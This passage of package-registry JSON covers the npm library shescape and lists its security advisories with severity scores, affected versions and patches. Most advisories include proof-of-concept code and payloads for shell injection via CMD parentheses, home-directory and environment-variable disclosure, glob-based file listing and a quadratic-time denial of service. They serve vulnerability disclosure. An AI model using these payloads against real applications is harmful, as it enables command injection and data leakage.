0","tag_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.1.0","manifests_url":"https://repos.ecosyste.ms/api/v1/hosts/GitHub/repositories/ericcornelissen%2Fshescape/tags/v0.1.0/manifests"}]},"repo_metadata_updated_at":"2026-08-21T20:06:08.155Z","dependent_packages_count":15,"downloads":60965,"downloads_period":"last-month","dependent_repos_count":28,"rankings":{"downloads":0.9815322815855003,"dependent_repos_count":2.4590660209990483,"dependent_packages_count":1.850013479983367,"stargazers_count":17.250931967580406,"forks_count":7.527933806503056,"docker_downloads_count":0.2688540506582141,"average":5.0563886012182655},"purl":"pkg:npm/shescape","advisories":[{"uuid":"GSA_kwCzR0hTQS1nbTNyLXEyd3AtaHc4N84ABftf","url":"https://github.com/advisories/GHSA-gm3r-q2wp-hw87","title":"Shescape: Quadratic-time denial of service in the flag-protection","description":"### Impact\n\nThis impacts users of Shescape that have flag protection enabled, which is on by default, regardless of the API being used.\n\nAn attacker can cause a runtime quadratic in the input size, causing denial of service for large inputs.\n\n```javascript\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    //flagProtection unspecified\n    // Or\n    flagProtection: true,\n};\n\n// 2. Payload\nlet payload = \"\\u0000-\".repeat(32000);\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet callback;\n\ncallback = () =\u003e shescape.escape(payload);\n// Or\ncallback = () =\u003e shescape.escapeAll([payload]);\n// Or\ncallback = () =\u003e shescape.quote(payload);\n// Or\ncallback = () =\u003e shescape.quoteAll([payload]);\n\nconst t0 = process.hrtime.bigint();\ncallback();\nconst ms = Number(process.hrtime.bigint() - t0) / 1e6;\n\n// 4. Impact\nconsole.log(\"Duration:\", ms);\n// Outputs \"Duration:\" followed by a number close to 20000\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) put restrictions on the length of untrusted input or 2) strip all content before the **last** `-` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-07-24T22:35:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-gm3r-q2wp-hw87","https://github.com/ericcornelissen/shescape/pull/2649","https://github.com/ericcornelissen/shescape/pull/2651","https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de","https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f","https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14","https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1","https://github.com/advisories/GHSA-gm3r-q2wp-hw87"],"source_kind":"github","identifiers":["GHSA-gm3r-q2wp-hw87","CVE-2026-73413"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T23:00:09.220Z","updated_at":"2026-08-20T13:00:28.490Z","epss_percentage":0.00336,"epss_percentile":0.26598,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTNyLXEyd3AtaHc4N84ABftf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1nbTNyLXEyd3AtaHc4N84ABftf","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.1"},{"first_patched_version":"2.1.14","vulnerable_version_range":"\u003e= 2.1.11, \u003c 2.1.14"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1nbTNyLXEyd3AtaHc4N84ABftf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1xNTNjLTRwcm0tdzk1cc4ABfte","url":"https://github.com/advisories/GHSA-q53c-4prm-w95q","title":"Shescape: Home-directory disclosure in assignment context on Unix with Dash","description":"### Impact\n\nThis impacts users of Shescape on Unix systems that explicitly configure `shell` to Dash, or `true` when the default shell is Dash, using the `escape` and `escapeAll` APIs in assignments prefixed to a command.\n\nAn attacker may be able to obtain the location of the home directory and, depending on how it is used, change the location on which a command operates in unexpected ways.\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"dash\",\n    // Or\n    shell: true, // Only if the default shell is Dash\n};\n\n// 2. Payload\nconst payload = \":~\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`V=${escapedPayload}; echo $V`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs \":\" followed by the user's home directory\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) refrain from using Dash, 2) use the `env` option of the `node:child_process` API to inject variables with untrusted values instead, or 3) remove all instances of `~` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T22:34:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-q53c-4prm-w95q","https://github.com/ericcornelissen/shescape/pull/2649","https://github.com/ericcornelissen/shescape/pull/2651","https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de","https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f","https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14","https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1","https://github.com/advisories/GHSA-q53c-4prm-w95q"],"source_kind":"github","identifiers":["GHSA-q53c-4prm-w95q","CVE-2026-73411"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T23:00:09.220Z","updated_at":"2026-08-20T13:00:28.490Z","epss_percentage":0.00336,"epss_percentile":0.26598,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNTNjLTRwcm0tdzk1cc4ABfte","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1xNTNjLTRwcm0tdzk1cc4ABfte","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.1"},{"first_patched_version":"2.1.14","vulnerable_version_range":"\u003c 2.1.14"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1xNTNjLTRwcm0tdzk1cc4ABfte/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13NGh3LXFjeDctNTZwcs4ABftd","url":"https://github.com/advisories/GHSA-w4hw-qcx7-56pr","title":"Shescape: Shell injection via unescaped parentheses on Windows with CMD","description":"### Impact\n\nThis impacts users of Shescape on Windows that explicitly configure `shell` to CMD, or `true` with the default shell being CMD, using the `escape` and `escapeAll` APIs.\n\nAn attacker may be able to achieve shell injection depending on the original command.\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"cmd.exe\",\n    // Or\n    shell: true, // Only if the default shell is CMD\n};\n\n// 2. Payload\nconst payload = \"x) else if a==a (echo y\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`if defined FALSY (echo ${escapedPayload})`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs \"y\" instead of \"\"\n\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can remove all instances of `(` and `)` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2026-07-24T22:34:23.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":9.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-w4hw-qcx7-56pr","https://github.com/ericcornelissen/shescape/pull/2649","https://github.com/ericcornelissen/shescape/pull/2651","https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de","https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f","https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14","https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1","https://github.com/advisories/GHSA-w4hw-qcx7-56pr"],"source_kind":"github","identifiers":["GHSA-w4hw-qcx7-56pr","CVE-2026-73414"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T23:00:09.220Z","updated_at":"2026-08-20T13:00:28.491Z","epss_percentage":0.0048,"epss_percentile":0.39527,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NGh3LXFjeDctNTZwcs4ABftd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13NGh3LXFjeDctNTZwcs4ABftd","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.1"},{"first_patched_version":"2.1.14","vulnerable_version_range":"\u003c 2.1.14"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13NGh3LXFjeDctNTZwcs4ABftd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02djRtLWZ3NjYtOHI0eM4ABftc","url":"https://github.com/advisories/GHSA-6v4m-fw66-8r4x","title":"Shescape: Path disclosure on Unix with Zsh","description":"### Impact\n\nThis impacts users of Shescape on Unix systems that explicitly configure `shell` to Zsh, or `true` when the default shell is Zsh, using the `escape` and `escapeAll`. The Zsh options `EXTENDED_GLOB` and `MAGIC_EQUAL_SUBST` exacerbate the problem.\n\nIn certain case, an attacker can leverage home directory expansion and extended glob syntax to obtain lists of files and directories on the system. Depending on what the command does, this may be used to leak more information.\n\n#### Without option / with `MAGIC_EQUAL_SUBST`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"zsh\",\n    // Or\n    shell: true, // Only if the default shell is Zsh\n};\n\n// 2. Payload\nconst payload1 = \":~\";\n// Or\nconst payload2 = \"a=~\"; // requires MAGIC_EQUAL_SUBST\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload1);\n// Or\nescapedPayload = shescape.escapeAll([payload1]);\n// And (example)\nconst result1 = cp.execSync(`V=${escapedPayload}; echo $V`, options);\n\n// Or\nescapedPayload = shescape.escape(payload2);\n// Or\nescapedPayload = shescape.escapeAll([payload2]);\n// And (example)\nconst result2 = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(\"\", result1.toString().trim(), \"\\n\", result2.toString().trim());\n// Outputs \":\" followed by the user's home directory on one line and \"a=\"\n// followed by the user's home directory (under MAGIC_EQUAL_SUBST) on the next.\n```\n\n#### With `EXTENDED_GLOB`\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst options = {\n    shell: \"zsh\",\n    // Or\n    shell: true, // Only if the default shell is Zsh\n};\n\n// And (example)\n// `setopt EXTENDED_GLOB` in ~/.zshenv\n\n// 2. Payload\nlet payload;\n\npayload = \"pa#ckage.json\";\n// Or\npayload = \"^package.json~package-lock.json\";\n// Or\npayload = \"^nonexistent\";\n\n// 3. Usage\nconst shescape = new Shescape(options);\nlet escapedPayload;\n\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`echo ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs files and directories in the current directory\n```\n\n### Patches\n\nThis bug has been patched in [v2.1.14] and [v3.0.1] which you can upgrade to now.\n\nIf you are already using v3 of Shescape, no further changes are required. If you are using v2 of Shescape it is recommended to upgrade as this version reaches end-of-life status on 2026-09-28, follow the [migration guide] to upgrade to v3.\n\nNo patches will be released for version of Shescape lower than v2.0.0.\n\n### Workarounds\n\nAlternatively, users of Shescape can 1) refrain from using Zsh, 2) ensure the `EXTENDED_GLOB` option is disabled, 3) remove all instances of `^`, `#`, and `~` from untrusted inputs.\n\n### For more information\n\n- Comment on Pull Request [#2651] for v2 and [#2649] for v3\n- Comment on commit [b4b34c3] for v2 and [43d70b5] for v3\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-07-24T22:33:38.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6v4m-fw66-8r4x","https://github.com/ericcornelissen/shescape/pull/2649","https://github.com/ericcornelissen/shescape/pull/2651","https://github.com/ericcornelissen/shescape/commit/43d70b59d09bbe5c3fd02ef08b3a123e977ed9de","https://github.com/ericcornelissen/shescape/commit/b4b34c394e7f9da2775bb75381066b9a228c425f","https://github.com/ericcornelissen/shescape/blob/dea8893a5877893d8d4923dbf253080e08899e6d/docs/migration.md","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.14","https://github.com/ericcornelissen/shescape/releases/tag/v3.0.1","https://github.com/advisories/GHSA-6v4m-fw66-8r4x"],"source_kind":"github","identifiers":["GHSA-6v4m-fw66-8r4x","CVE-2026-73412"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-07-24T23:00:09.220Z","updated_at":"2026-08-14T01:00:33.542Z","epss_percentage":0.00348,"epss_percentile":0.27707,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djRtLWZ3NjYtOHI0eM4ABftc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02djRtLWZ3NjYtOHI0eM4ABftc","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"3.0.1","vulnerable_version_range":"\u003e= 3.0.0, \u003c 3.0.1"},{"first_patched_version":"2.1.14","vulnerable_version_range":"\u003c 2.1.14"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02djRtLWZ3NjYtOHI0eM4ABftc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05amZoLTl4cnEtNHZ3bc4ABTfz","url":"https://github.com/advisories/GHSA-9jfh-9xrq-4vwm","title":"Shescape escape() leaves bracket glob expansion active on Bash, BusyBox, and Dash","description":"### Summary\n\n`Shescape#escape()` does not escape square-bracket glob syntax for Bash, BusyBox `sh`, and Dash. Applications that interpolate the return value directly into a shell command string can cause an attacker-controlled value like `secret[12]` to expand into multiple filesystem matches instead of a single literal argument, turning one argument into multiple trusted-pathname matches.\n\n### Details\n\nThe unquoted Unix escape helpers never add `[` or `]` to their “special characters” regexes:\n\n- `src/internal/unix/bash.js:14-30`\n- `src/internal/unix/busybox.js:14-30`\n- `src/internal/unix/dash.js:12-19`\n\nThey escape `*`/`?` but not brackets, so `new Shescape({ shell: \"/usr/bin/bash\" }).escape(\"secret[12]\")` still produces `secret[12]`. The fixtures (`test/fixtures/unix.js:2236-2265`, `3496-3525`, `5762-5792`) are currently written to expect literal brackets for these shells, confirming the behavior. The documentation recommends `Shescape#escape()` as the fallback for `exec` when quoting isn’t possible (`docs/recipes.md:154-183`).\n\n### Proof of Concept\n\nUse the published npm tarball without modifications:\n\n```shell\ntmp=$(mktemp -d)\ncd \"$tmp\"\nnpm pack shescape@2.1.9 \u003e/dev/null\nmkdir pkg\ntar -xzf shescape-2.1.9.tgz -C pkg\ncd pkg/package\nnpm install --omit=dev\n\nnode --input-type=module - \u003c\u003c'NODE'\nimport { mkdtempSync, writeFileSync } from \"node:fs\";\nimport { tmpdir } from \"node:os\";\nimport path from \"node:path\";\nimport { execSync } from \"node:child_process\";\nimport { Shescape } from \"./src/index.js\";\n\nconst dir = mkdtempSync(path.join(tmpdir(), \"shescape-ghsa-poc-\"));\nwriteFileSync(path.join(dir, \"secret1\"), \"\");\nwriteFileSync(path.join(dir, \"secret2\"), \"\");\n\nfor (const shell of [\"/usr/bin/bash\", \"/usr/bin/dash\"]) {\n  const shescape = new Shescape({ shell });\n  const escaped = shescape.escape(\"secret[12]\");\n  console.log(${shell} escaped=${escaped});\n  const out = execSync(printf '\u003c%s\u003e\\\\n' ${escaped}, { cwd: dir, shell }).toString();\n  process.stdout.write(out);\n}\nNODE\n```\n\nOutput:\n\n```text\n/usr/bin/bash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n/usr/bin/dash escaped=secret[12]\n\u003csecret1\u003e\n\u003csecret2\u003e\n```\n\nExpected: the shell receives `secret\\[12\\]`, so only one literal argument runs.\n\n### Impact\n\nArgument injection: a single untrusted argument expands into multiple pathname matches from the trusted filesystem. This can change command behavior, target unintended files, or leak filenames. Any application calling `Shescape#escape()` with Bash/BusyBox/Dash shells and interpolating the result into a shell command string is affected.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-03-11T19:53:53.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-9jfh-9xrq-4vwm","https://github.com/ericcornelissen/shescape/pull/2410","https://github.com/ericcornelissen/shescape/commit/6add105c6f6b508662bb5ae3b3bdd4c9bcebf37a","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.10","https://nvd.nist.gov/vuln/detail/CVE-2026-32094","https://github.com/advisories/GHSA-9jfh-9xrq-4vwm"],"source_kind":"github","identifiers":["GHSA-9jfh-9xrq-4vwm","CVE-2026-32094"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-11T20:00:10.855Z","updated_at":"2026-08-03T23:03:26.854Z","epss_percentage":0.00214,"epss_percentile":0.1158,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05amZoLTl4cnEtNHZ3bc4ABTfz","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS05amZoLTl4cnEtNHZ3bc4ABTfz","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"2.1.10","vulnerable_version_range":"\u003c 2.1.10"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS05amZoLTl4cnEtNHZ3bc4ABTfz/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02ZjZ3LTZqNTgtcnE3Ns4ABTSq","url":"https://github.com/advisories/GHSA-6f6w-6j58-rq76","title":"Withdrawn Advisory: Shescape has possible misidentification of shell due to link chains","description":"## Withdrawn Advisory\n\nThis advisory has been withdrawn because it falls outside the https://github.com/ericcornelissen/shescape/blob/a2544a1c78cae19d0e81a485b997bf0b0fcc2c12/SECURITY.md#threat-model. This link is maintained to preserve external references.\n\n## Original Description\n### Impact\n\nThis impacts users of Shescape that configure their `shell` to point to a file on disk that is a link to a link. The precise result of being affected depends on the actual shell used and incorrect shell identified by Shescape.\n\nIn particular, an attacker may be able to bypass escaping for the shell being used. This can result, for example, in exposure of sensitive information, consider the following proof of concept (targeting Shescape v2):\n\n```javascript\nimport fs from \"node:fs\";\nimport { exec } from \"node:child_process\";\n\nimport { Shescape } from \"shescape\";\nimport which from \"which\";\n\n/* 1. Set up */\nconst shell = which.sync(\"bash\");\nconst linkToShell = \"./csh\";\nconst linkToLink = \"./link\";\n\nfs.rmSync(linkToLink, { force: true });\nfs.rmSync(linkToShell, { force: true });\nfs.symlinkSync(shell, linkToShell);\nfs.symlinkSync(linkToShell, linkToLink);\n\n/* 2. Misconfiguration */\nconst execOptions = {\n  shell: linkToLink,\n};\n\nconst shescape = new Shescape({\n  shell: execOptions.shell,\n});\n\n/* 3. Payload */\nconst userInput = \"a=:~\";\n\n/* 4. Attack example */\nexec(\n  `echo Hello ${shescape.escape(userInput)}`,\n  { shell: execOptions.shell },\n  (error, stdout) =\u003e {\n    fs.rmSync(linkToLink);\n    fs.rmSync(linkToShell);\n\n    if (error) {\n      console.error(`An error occurred: ${error}`);\n    } else {\n      console.log(stdout);\n      // Output:  \"Hello a=:/home/user\"\n    }\n  },\n);\n```\n\n### Patches\n\nThis problem has been patched in [v2.1.9](https://www.npmjs.com/package/shescape/v/2.1.9) which you can upgrade to now.\n\n### Workarounds\n\nIf upgrading is not an option, either avoid using a shell or make sure the shell path you use is not a link to a link.\n\n### References\n\n- Shescape Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Shescape Release [v2.1.9](https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9)\n\n### For more information\n\n- Comment on Pull Request [#2388](https://github.com/ericcornelissen/shescape/pull/2388)\n- Open an issue at \u003chttps://github.com/ericcornelissen/shescape/issues\u003e (New issue \u003e Question)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2026-03-07T02:31:58.000Z","withdrawn_at":"2026-03-20T19:53:41.000Z","classification":"GENERAL","cvss_score":2.9,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N/E:P","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-6f6w-6j58-rq76","https://github.com/ericcornelissen/shescape/pull/2388","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.9","https://nvd.nist.gov/vuln/detail/CVE-2026-30916","https://www.npmjs.com/package/shescape/v/2.1.9","https://github.com/github/advisory-database/pull/7206","https://github.com/advisories/GHSA-6f6w-6j58-rq76"],"source_kind":"github","identifiers":["GHSA-6f6w-6j58-rq76","CVE-2026-30916"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-07T03:00:11.850Z","updated_at":"2026-08-03T23:03:31.975Z","epss_percentage":0.00052,"epss_percentile":0.16098,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZjZ3LTZqNTgtcnE3Ns4ABTSq","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02ZjZ3LTZqNTgtcnE3Ns4ABTSq","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"2.1.9","vulnerable_version_range":"\u003c= 2.1.8"}],"purl":"pkg:npm/shescape"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02ZjZ3LTZqNTgtcnE3Ns4ABTSq/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS02NnBwLTVwOXctcTg3as4ABF6n","url":"https://github.com/advisories/GHSA-66pp-5p9w-q87j","title":"Shescape has potential environment variable exposure on Windows with CMD","description":"### Impact\n\nThis impact users of Shescape on Windows that explicitly configure `shell: 'cmd.exe'` or `shell: true` using any of `quote`/`quoteAll`/`escape`/`escapeAll`.\n\nAn attacker may be able to get read-only access to environment variables. Example:\n\n```javascript\nimport * as cp from \"node:child_process\";\nimport { Shescape } from \"shescape\";\n\n// 1. Prerequisites\nconst shescape = new Shescape({\n    shell: \"cmd.exe\",\n    // Or\n    shell: true, // Only if the default shell is CMD\n});\n\n// 2. Payload\nconst payload = '\"%PATH%';\n\n// 3. Usage\nlet escapedPayload;\n\nescapedPayload = shescape.quote(payload);\n// Or\nescapedPayload = shescape.quoteAll([payload]);\n// Or\nescapedPayload = shescape.escape(payload);\n// Or\nescapedPayload = shescape.escapeAll([payload]);\n\n// And (example)\nconst result = cp.execSync(`echo Hello ${escapedPayload}`, options);\n\n// 4. Impact\nconsole.log(result.toString());\n// Outputs \"Hello\" followed by the contents of the PATH environment variable\n```\n\nFor Shescape prior to v2.0.0, the `options` object must have `shell: 'cmd.exe'` or `shell: undefined` and `interpolation: true`.\n\n\n### Patches\n\nThis bug has been patched in [v2.1.2](https://github.com/ericcornelissen/shescape/releases/tag/v2.1.2) which you can upgrade to now.\n\nIf you are already using v2 of Shescape, no further changes are required. If you are using v1 of Shescape, follow the [migration guide](https://github.com/ericcornelissen/shescape/blob/155b13b4141750203ce71249f1b0fdc638c7a0d0/docs/migration.md) to upgrade to v2. There is no plan to release a patch compatible with v1 of Shescape.\n\n\n### Workarounds\n\nAlternatively, users can remove all instances of % from user input before using Shescape.\n\n\n### References\n\n- Shescape Pull Request [#1916](https://github.com/ericcornelissen/shescape/pull/1916)\n- Shescape commit [0a81f1e](https://github.com/ericcornelissen/shescape/commit/0a81f1eb077bab8caae283a2490cd7be9af179c6)\n- Shescape release [v2.1.2](https://github.com/ericcornelissen/shescape/releases/tag/v2.1.2)\n\n\n### For more information\n\n- Comment on Pull Request [#1916](https://github.com/ericcornelissen/shescape/pull/1916)\n- Comment on commit [0a81f1e](https://github.com/ericcornelissen/shescape/commit/0a81f1eb077bab8caae283a2490cd7be9af179c6)\n- Open an issue at [https://github.com/ericcornelissen/shescape/issues](https://github.com/ericcornelissen/shescape/issues) (New issue \u003e Question)","origin":"UNSPECIFIED","severity":"LOW","published_at":"2025-03-26T14:54:22.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":2.1,"cvss_vector":"CVSS:4.0/AV:L/AC:L/AT:P/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:U","references":["https://github.com/ericcornelissen/shescape/security/advisories/GHSA-66pp-5p9w-q87j","https://nvd.nist.gov/vuln/detail/CVE-2025-30222","https://github.com/ericcornelissen/shescape/pull/1916","https://github.com/ericcornelissen/shescape/commit/0a81f1eb077bab8caae283a2490cd7be9af179c6","https://github.com/ericcornelissen/shescape/releases/tag/v2.1.2","https://github.com/advisories/GHSA-66pp-5p9w-q87j"],"source_kind":"github","identifiers":["GHSA-66pp-5p9w-q87j","CVE-2025-30222"],"repository_url":"https://github.com/ericcornelissen/shescape","blast_radius":3.0390318658186604,"created_at":"2025-03-26T15:08:51.260Z","updated_at":"2026-08-11T14:10:14.017Z","epss_percentage":0.0018,"epss_percentile":0.07741,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS02NnBwLTVwOXctcTg3as4ABF6n","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS02NnBwLTVwOXctcTg3as4ABF6n","packages":[{"ecosystem":"npm","package_name":"shescape","versions":[{"first_patched_version":"2.1.2","vulnerable_version_range":"\u003e= 1.7.2, \u003c 